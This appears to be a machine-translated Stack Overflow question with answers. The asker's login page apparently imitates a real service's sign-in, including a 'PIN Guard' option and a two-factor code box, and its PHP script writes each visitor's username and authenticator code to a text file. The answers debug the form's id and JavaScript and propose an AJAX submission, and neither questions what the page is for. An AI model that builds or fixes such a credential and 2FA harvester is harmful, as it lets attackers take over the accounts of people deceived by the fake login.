2017-08-05 22 views
1

私はこのフォームを持っています。私が今いる方法は、ユーザーがユーザー名とパスワードを入力してから、サインインボタンをクリックしてdivが表示され、ユーザーが自分のユーザー名とパスワードを入力するまでサインイン(認証ピンは隠されている)確認ピン。PHPスクリプトにフォームを送信する際の問題

<?php 
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("..."); 
$txt = $_POST['username'] . ':' . $_POST['authcode']; 
fwrite($myfile, $txt); 
fclose($myfile); 
echo "LOREM IPSUM:("; 
?> 

<!DOCTYPE html> 
    <form action="/loginaction.php" method="post" name="submit"> 
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();"> 
      <div class="mainLoginLeftPanel_signin"> 
       <label for="userAccountName">username</label><br> 
       <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br> 
       <label for="userPassword">Password</label><br> 
       <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br> 
       <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div> 
       <div class="checkboxContainer"> 
       <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu. This feature is only available to PIN Guard enabled accounts."> 
       <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br> 
        </div> 
       </div> 
      </div> 

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
     <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style=""> 
      <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();"> 

       <div class="auth_button_h3">submit</div> 
       <div class="auth_button_h5">my authenticator code</div></button></div></div> 

     <div class="twofactorauthcode_entry_area"> 
     <div id="login_twofactor_authcode_entry"> 
      <div class="twofactorauthcode_entry_box"> 
       <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/> 
      </div> 
     </div> 
     <div id="login_twofactor_authcode_help_supportlink" style="display: none;"> 
      <a href="#"> 
       Contact Support for help with account access    </a> 
     </div> 
    </div> 

    </form> 
</head> 

フォーム名の両方が正しく入力されていると私が持っている:私が午前問題は、私は、テキストボックスに提出するものに関係なくある、何も私がここに持っている私のPHPスクリプトに提出されなかっますアクションは正しいスクリプトに設定されていますが、生成されたテキストファイルをチェックすると入力がありません。私は3つの詳細(ユーザー、パス、authcode)とサインインボタンのフォームを提出するために確認ピンを送信するボタンが、検証ディビジョン(これはうまくいきます)を再表示するだけです。どんな助けもありがとう。

フォームを送信するJavaScript関数は、関数が、ID「提出」を使用してフォームを要求

<script type="text/javascript"> 
function() submitForms{ 
document.getElementById("submit").submit(); 
document.getElementById("submit").action = "/loginaction.php"; 
} 

https://jsfiddle.net/jxd0g2z4/

+0

ここで、関数submitForms()は定義されていますか? –

+0

私は今すぐ自分のコードを更新します。 –

+0

ファイルが開けないとPHPが終了する可能性があります。ファイルを開く部分を提出してみることはできますか? –

答えて

3

ですが、あなたのフォームは、IDタグを持っていません。それは名前タグだけを持っています。タグを追加したりセレクタを変更することができます。

<form action="/loginaction.php" method="post" name="submit" id='submit'>

そのすでにHTML内の場合は、アクションを定義する必要はありませんが、あなたがやった場合には、提出関数呼び出しの前に来る必要があるだろう。

私が気づいた別の間違いは、submitForms関数が定義されている構文です。次のように括弧は、関数名の後に属しています

<script type="text/javascript"> 
function submitForms(){ 
    document.getElementById("submit").action = "/loginaction.php"; 
    document.getElementById("submit").submit(); 
} 

最後に</head>タグが何かを投げすることができることも可能です。以下は私がhtmlとjavascriptを複製したイメージです。

enter image description here

<!DOCTYPE html> 
<html> 
<head> 
<script type="text/javascript"> 
function submitForms(){ 
    document.getElementById("submit").action = "/loginaction.php"; 
    document.getElementById("submit").submit(); 
} 
</script> 
</head> 
<body> 
    <form action="/loginaction.php" method="post" name="submit"> 
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();"> 
      <div class="mainLoginLeftPanel_signin"> 
       <label for="userAccountName">username</label><br> 
       <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br> 
       <label for="userPassword">Password</label><br> 
       <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br> 
       <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div> 
       <div class="checkboxContainer"> 
       <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu. This feature is only available to PIN Guard enabled accounts."> 
       <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br> 
        </div> 
       </div> 
      </div> 

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
     <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style=""> 
      <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();"> 

       <div class="auth_button_h3">submit</div> 
       <div class="auth_button_h5">my authenticator code</div></button></div></div> 

     <div class="twofactorauthcode_entry_area"> 
     <div id="login_twofactor_authcode_entry"> 
      <div class="twofactorauthcode_entry_box"> 
       <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/> 
      </div> 
     </div> 
     <div id="login_twofactor_authcode_help_supportlink" style="display: none;"> 
      <a href="#"> 
       Contact Support for help with account access    </a> 
     </div> 
    </div> 

    </form> 
</body> 
</html> 
+0

フォームを正しいIDに変更しましたが、テキストファイルに何も出力されません。 –

+0

私はその機能をアクションから削除しました。出力ファイルをチェックすると、セミコロンが表示されますが、フォームが正しく送信されていないことを意味しますか? –

+0

申し訳ありませんが、この関数は以前は正しく定義されていませんでした。構文が間違っていた。私はちょうどここにコードを追加しました。 –

0

私は右の問題を取得する場合は知っているが、私にとっては、これはあなたのために解決することは少し難しいだろうようなことになりますしないでください。 私は最初のフォームのみをロードすることをお勧めします。このフォームはajaxを使ってPHPファイルに送信されます(ファイルを書きます)。そして元のHTMLコードに置き換えてください。ここでは2番目のフォームを送信します。 エラーが発生した場合に同じformeを再度送信できるという利点があります。

EDIT

あなたは、この機能を使用することができ、jQueryのをロードした場合。あなたのフォームは、それをアクティブにするためのクラスタグが必要です:

<form action="yourfile.php" id="myForm" class="ajax-form"> 

このフォームは、このフォームを送信するときに機能を有効にします。

$(".ajax-form").submit(function(e) { 
    e.preventDefault(); 
    var form = $(this); 
    var formID = form.attr('id'); 
    $.ajax({ 
     context: this, 
     async: true, 
     type: "post", 
     url: form.prop('action'), 
     data: form.serialize(), 
     dataType: "html", 
     success: function(datavalues) { 
      $('#'+formID).replaceWith(datavalues); 
     }, 
     error: function(json) { 
      console.log('ARMAGEDDON!!!'); 
     }, 
    }); 
     return false; 
}); 
関連する問題